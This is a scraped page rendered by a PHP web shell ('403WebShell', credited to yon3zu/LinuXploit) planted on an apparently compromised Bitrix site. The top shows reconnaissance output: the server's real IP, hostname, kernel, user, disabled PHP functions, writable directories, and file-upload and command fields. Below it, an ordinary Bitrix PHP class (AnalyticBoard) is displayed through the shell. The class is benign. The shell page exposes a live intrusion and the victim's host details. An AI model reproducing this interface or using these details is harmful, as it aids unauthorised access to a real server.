%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.227.134.133
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor//analyticboard.php
<?php
namespace Bitrix\Report\VisualConstructor;

use Bitrix\Main\ArgumentException;
use Bitrix\Main\SystemException;
use Bitrix\Main\UI\Extension;
use Bitrix\Report\VisualConstructor\Helper\Filter;

/**
 * Class AnalyticBoard
 * @package Bitrix\Report\VisualConstructor
 */
class AnalyticBoard
{
	private $title;
	private $boardKey;
	private $machineKey;
	private $filter;
	private $batchKey = null;
	private $group = null;
	private $buttons = [];
	private $disabled = false;
	private $stepperEnabled = false;
	private $stepperIds = [];
	private $limited = false;
	private $limitComponentParams = [];
	private $isExternal = false;
	private $externalUrl = "";
	private $isSliderSupport = true;
	private $options;
	private $setOptionsCallback;

	public function __construct(string $boardId = '', array $options = [])
	{
		$this->options = $options;

		if ($boardId)
		{
			$this->setBoardKey($boardId);

			$configurationButton = new BoardComponentButton(
				'bitrix:report.analytics.config.control',
				'',
				[
					'BOARD_ID' => $this->getBoardKey(),
					'BOARD_OPTIONS' => $this->getOptions(),
				]
			);
			$this->addButton($configurationButton);
			//$this->addButton(new BoardButton(' '));
		}
	}

	/**
	 * @return mixed
	 */
	public function getTitle()
	{
		return $this->title;
	}

	/**
	 * @param mixed $title
	 */
	public function setTitle($title)
	{
		$this->title = $title;
	}

	/**
	 * @return mixed
	 */
	public function getBoardKey()
	{
		return $this->boardKey;
	}

	/**
	 * @param mixed $boardKey
	 */
	public function setBoardKey($boardKey)
	{
		$this->boardKey = $boardKey;
	}

	/**
	 * @return mixed
	 */
	public function getMachineKey()
	{
		return $this->machineKey ?: $this->boardKey;
	}

	/**
	 * @param mixed $machineKey
	 */
	public function setMachineKey($machineKey)
	{
		$this->machineKey = $machineKey;
	}

	/**
	 * @return Filter
	 */
	public function getFilter()
	{
		return $this->filter;
	}

	/**
	 * @param Filter $filter
	 */
	public function setFilter(Filter $filter)
	{
		$this->filter = $filter;
	}

	/**
	 * @return string
	 */
	public function getBatchKey()
	{
		return $this->batchKey;
	}

	/**
	 * @param string $batchKey
	 */
	public function setBatchKey($batchKey)
	{
		$this->batchKey = $batchKey;
	}

	/**
	 * @return bool
	 */
	public function isNestedInBatch()
	{
		return $this->batchKey !== null;
	}

	/**
	 * @param BoardButton $button
	 */
	public function addButton(BoardButton $button)
	{
		$this->buttons[] = $button;
	}

	public function getButtonsContent()
	{
		$result = [
			'html' => '',
			'assets' => [
				'js' => [],
				'css' => [],
				'string' => [],
			]
		];
		if ($this->isDisabled())
		{
			return $result;
		}
		$buttons = $this->getButtons();
		foreach ($buttons as $button)
		{
			$result['html'] .= $button->process()->getHtml();
			foreach ($button->getJsList() as $jsPath)
			{
				$result['assets']['js'][] = $jsPath;
			}

			foreach ($button->getCssList() as $cssPath)
			{
				$result['assets']['css'][] = $cssPath;
			}

			foreach ($button->getStringList() as $string)
			{
				$result['assets']['string'][] = $string;
			}
		}

		return $result;
	}

	/**
	 * @return BoardButton[]
	 */
	public function getButtons()
	{
		return $this->buttons;
	}

	/**
	 * @return bool
	 */
	public function isDisabled()
	{
		return $this->disabled;
	}

	/**
	 * @param bool $disabled
	 */
	public function setDisabled($disabled)
	{
		$this->disabled = $disabled;
	}

	public function addFeedbackButton()
	{
		$feedbackButton = new BoardComponentButton('bitrix:ui.feedback.form', '', [
			'ID' => 'crm-analytics',
			'VIEW_TARGET' => null,
			'FORMS' => [
				['zones' => ['com.br'], 'id' => '58','lang' => 'br', 'sec' => 'k6be5r'],
				['zones' => ['es'], 'id' => '60','lang' => 'la', 'sec' => '1shpig'],
				['zones' => ['de'], 'id' => '62','lang' => 'de', 'sec' => 'dj2q8l'],
				['zones' => ['ua'], 'id' => '66','lang' => 'ua', 'sec' => 't5y7px'],
				['zones' => ['ru', 'kz', 'by'], 'id' => '68','lang' => 'ru', 'sec' => 'h6thh2'],
				['zones' => ['en'], 'id' => '64','lang' => 'en', 'sec' => '776ire'],
			],
			'PRESETS' => [
				'BOARD_KEY' => $this->getBoardKey(),
				'sender_page' => $this->getTitle()
			]

		]);
		$this->addButton($feedbackButton);
	}

	/**
	 * @return bool
	 */
	public function isStepperEnabled()
	{
		return $this->stepperEnabled;
	}

	public function getStepperIds()
	{
		return $this->stepperIds;
	}

	public function setStepperIds($stepperIds = [])
	{
		$this->stepperIds =$stepperIds;
	}
	/**
	 * @param bool $stepperEnabled
	 */
	public function setStepperEnabled($stepperEnabled)
	{
		$this->stepperEnabled = $stepperEnabled;
	}

	public function isLimited()
	{
		return $this->limited;
	}

	private function getLimitComponentOptions()
	{
		return $this->limitComponentParams;
	}

	public function getLimitComponentName()
	{
		$componentParams = $this->getLimitComponentOptions();
		if (!isset($componentParams['NAME']))
		{
			throw new ArgumentException("Component name do not isset");
		}
		return $componentParams['NAME'];
	}

	public function getLimitComponentTemplateName()
	{
		$componentOptions = $this->getLimitComponentOptions();
		if (!isset($componentOptions['TEMPLATE_NAME']))
		{
			return '';
		}
		return $componentOptions['TEMPLATE_NAME'];
	}

	public function getLimitComponentParams()
	{
		$componentOptions = $this->getLimitComponentOptions();
		if (!isset($componentOptions['PARAMS']))
		{
			return [];
		}
		return $componentOptions['PARAMS'];
	}

	public function setLimit($limitComponentParams, $limit = false)
	{
		$this->limitComponentParams = $limitComponentParams;
		$this->limited = $limit;
	}

	/**
	 * @return bool
	 */
	public function isExternal(): bool
	{
		return $this->isExternal;
	}

	/**
	 * @param bool $isExternal
	 */
	public function setExternal(bool $isExternal): void
	{
		$this->isExternal = $isExternal;
	}

	/**
	 * @return string
	 */
	public function getExternalUrl(): string
	{
		return $this->externalUrl;
	}

	/**
	 * @param string $externalUrl
	 */
	public function setExternalUrl(string $externalUrl): void
	{
		$this->externalUrl = $externalUrl;
	}

	/**
	 * @return bool
	 */
	public function isSliderSupport(): bool
	{
		return $this->isSliderSupport;
	}

	/**
	 * @param bool $isSliderSupport
	 */
	public function setSliderSupport(bool $isSliderSupport): void
	{
		$this->isSliderSupport = $isSliderSupport;
	}

	public function getDisplayComponentName()
	{
		if ($this->isDisabled())
		{
			return 'bitrix:report.analytics.empty';
		}
		elseif ($this->isLimited())
		{
			return $this->getLimitComponentName();
		}
		else
		{
			return 'bitrix:report.visualconstructor.board.base';
		}
	}

	public function getDisplayComponentTemplate()
	{
		return ($this->isLimited() ? $this->getLimitComponentTemplateName() : "");
	}

	public function getDisplayComponentParams()
	{
		if ($this->isDisabled())
		{
			return [];
		}
		elseif ($this->isLimited())
		{
			return $this->getLimitComponentParams();
		}
		else
		{
			return [
				'BOARD_ID' => $this->getBoardKey(),
				'IS_DEFAULT_MODE_DEMO' => false,
				'IS_BOARD_DEFAULT' => true,
				'FILTER' => $this->getFilter(),
				'BOARD_BUTTONS' => $this->getButtons(),
				'IS_ENABLED_STEPPER' => $this->isStepperEnabled(),
				'STEPPER_IDS' => $this->getStepperIds()
			];
		}
	}

	/**
	 * Special actions to perform with board reset, required by some boards
	 */
	public function resetToDefault()
	{
		// nothing here
	}

	/**
	 * @return null
	 */
	public function getGroup()
	{
		return $this->group;
	}

	/**
	 * @param null $group
	 */
	public function setGroup($group): void
	{
		$this->group = $group;
	}

	public function toggleOption(string $optionName)
	{
		$found = false;
		foreach ($this->options as $optionFields)
		{
			if ($optionFields['NAME'] === $optionName)
			{
				$found = true;
				break;
			}
		}

		if (!$found)
		{
			throw new SystemException("Unknown option {$optionName} for the board {$this->boardKey}");
		}

		if (!is_callable($this->setOptionsCallback))
		{
			throw new SystemException("setOptionsCallback is not callable for the board {$this->boardKey}");
		}

		call_user_func($this->setOptionsCallback, $optionName, !$optionFields['VALUE']);
	}

	public function registerSetOptionsCallback(callable $cb)
	{
		$this->setOptionsCallback = $cb;
	}

	public function getOptions() : array
	{
		return $this->options;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit